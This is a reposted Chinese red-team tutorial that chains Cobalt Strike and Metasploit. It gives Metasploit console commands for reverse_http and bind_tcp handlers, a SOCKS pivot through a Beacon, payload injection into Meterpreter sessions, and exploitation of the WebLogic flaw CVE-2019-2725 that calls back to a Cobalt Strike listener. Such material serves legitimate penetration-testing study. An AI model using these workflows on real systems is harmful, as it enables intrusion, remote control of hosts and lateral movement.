Heim > Betrieb und Instandhaltung > Sicherheit > Beispielanalyse der Verknüpfung zwischen CobaltStrike und Metasploit

Beispielanalyse der Verknüpfung zwischen CobaltStrike und Metasploit

WBOY
Freigeben: 2023-05-15 18:58:11
nach vorne
1177 Leute haben es durchsucht

认准Ms08067

个人觉得CobaltStrike图形化的界面和丰富的功能,是一个超强的后渗透框架,尤其是方便管理横向移动过程中搜集到的各种数据和shell,但是对于漏洞利用、初始突破就显得十分乏力;另一边Metasploit作为漏洞利用框架,EXP及其顺滑,各种各样的模块,包含扫描、突破、拓展一条龙服务,但是对于多个shell的管理就显得有些乏力了(毕竟没有图形化界面,命令太多记不住)。于是,如何将两个框架有效的联动起来,就成为了今天想要学习的知识。

一、利用CS为MSF服务

利用CS的Beacon给MSF派生一个shell,执行后续的渗透任务:

在MSF中配置监听

# 配置监听器msf> use exploit/multi/handler# 选择payloadmsf> windows/meterpreter/reverse_httpmsf> set lhost IPmsf> set lport port# 启动监听器msf> set ExitOnSession Falsemsf> run -jz
Nach dem Login kopieren

在CS中建立一个外部监听器 Foreign HTTP (或 Foreign HTTPS )

Beispielanalyse der Verknüpfung zwischen CobaltStrike und Metasploit

选择想要派生的目标,右键选择 spawn 功能,选择刚刚建立的监听器,即可在MSF中接收到回连。

利用CS为MSF提供转发或代理功能,进行后续的探测和漏洞利用:

利用Beacon建立 socks 代理:

在Beacon中输入 socks 监听端口,或者右键想要作为转发的目标,在pivoting中选择 SOCKS Server ,配置监听端口后点击
launch 激活。

Beispielanalyse der Verknüpfung zwischen CobaltStrike und Metasploit

在view -> Proxy Pivots 中可以看到建立的转发器,点击Tunnel即可获得MSF的转发命令Beispielanalyse der Verknüpfung zwischen CobaltStrike und Metasploit

复制到MSF中,设置代理和载荷类型

以CVE-2019-2725为测试靶机

#设置代理 msf> setg Proxies socks4:127.0.0.1:36725
#配置payload,因为是隔离网段的主机,无法直接反连回MSF,所以需要换成被动连接的bind类型载荷
msf> set payload windows/meterpreter/bind_tcp
msf> run
Nach dem Login kopieren

Beispielanalyse der Verknüpfung zwischen CobaltStrike und Metasploit

二、MSF为CS服务

主要就是使用MSF框架的EXP获取CS的Beacon

获取了一个命令执行Shell:

这是最简单的情况,也是最常见的情况,并不是所有的EXP都能反弹一个Meterpreter会话回来。

在CS中利用Attacks -> Web Drive-by -> Scripted Web Delivery 来部署一个Payload分发站点:

配置监听器和URL路径,启动后会弹出相应的命令提示
Beispielanalyse der Verknüpfung zwischen CobaltStrike und Metasploit

复制命令后,直接在MSF 的shell中执行即可

Beispielanalyse der Verknüpfung zwischen CobaltStrike und Metasploit

命令执行后MSF的会话会卡住,可以直接kill掉,不影响CS会话

获取了一个Meterpreter会话:

获得meterpreter会话后,利用MSF注入功能,加载Cs的payload

# 将meterpreter会话挂起
meterpreter> background
# 进入payload_inject模块
msf> use exploit/windows/local/payload_inject
# 根据CS监听器类型选择对应的payload(http或者https)
msf> set payload windows/meterpreter/reverse_http
# 设置回连地址(CS监听器地址)
msf> set LHOST CS_IP
msf> set LPORT CS_PORT
# 指定要执行的meterpreter会话
msf> set session meterpreter会话ID
# 设置MSF不启动监听(不然的话msf会提示执行成功,但没有会话建立,同时CS也不会接收到会话)
msf> set disablepayloadhandler true 
msf> run
Nach dem Login kopieren

Beispielanalyse der Verknüpfung zwischen CobaltStrike und Metasploit

在过程中发现,这种方法只能向注入32位的payload,如果注入64位payload会导致目标进程崩溃,无法向64位程序中注入32位payload。崩溃原因是:APPCRASH(故障模块StackHash_af76),即使取得system权限、关闭UAC也还是不行。如果不设置pid,则会创建一个32位的notepad.exe进程,成功连接后记得及时迁移CS的会话进程。

直接反弹回CS:

在MSF漏洞利用时直接请求并加载CS的载荷,和第二种方法基本一致(测试漏洞为 CVE-2019-2725)

# 根据CS监听器类型选择对应的payload
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set payload windows/meterpreter/reverse_http 
# 设置回连地址(CS监听器地址) 
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set LHOST CS_IP
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set LPORT CS_PORT
# 指定要执行的meterpreter会话
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set session meterpreter会话ID
# 设置MSF不启动监听(不然的话msf会提示执行成功,但没有会话建立,同时CS也不会接收到会话)
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set disablepayloadhandler true
Nach dem Login kopieren

Beispielanalyse der Verknüpfung zwischen CobaltStrike und Metasploit

Beispielanalyse der Verknüpfung zwischen CobaltStrike und Metasploit

其实和第二种操作是一样,都是调用MSF的模块,配置payload的参数而已。漏洞利用成功后直接通过无窗口 powershell
返回CS会话,目标主机没有窗口弹出。测试的时候无法加载64位payload,可能是这个漏洞利用后会启动一个32位的cmd.exe来执行后续命令的原因。

三、

一开始打算是做一篇学习笔记,毕竟好记性不如烂笔头,看过的东西长时间不使用的话可能就忘记了,留下一个备忘录日后查询起来也方便。但是,做到后来就是一个爬坑的过程了,觉得自己好聪明,“这两个载荷名字好像,也没有文章提到,会不会也可联动呀?”,因为网上介绍的方法(中文文章)基本上都是和CS官方2016年发布的指南的是一样的,但是我看目前CS中Listener的种类不止
http和https ,

dns smb tcp
Nach dem Login kopieren

MSF中也有诸如

windows/meterpreter/reverse_tcp_dns
windows/meterpreter/bind_named_pipe 
windows/meterpreter/reverse_tcp
Nach dem Login kopieren

这类看起来很像的payload模块,一番测试下来,也就只有http和https载荷可以接收到另一方回连的会话。果然还是是自己太年轻了,没有人提,确实就是因为它不是这样用的,毕竟两个框架一开始就是独立的,这样成熟的框架之间能有联通的方法已经给面子了,一开始就不应该奢求太多的。

Das obige ist der detaillierte Inhalt vonBeispielanalyse der Verknüpfung zwischen CobaltStrike und Metasploit. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Verwandte Etiketten:
Quelle:yisu.com
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage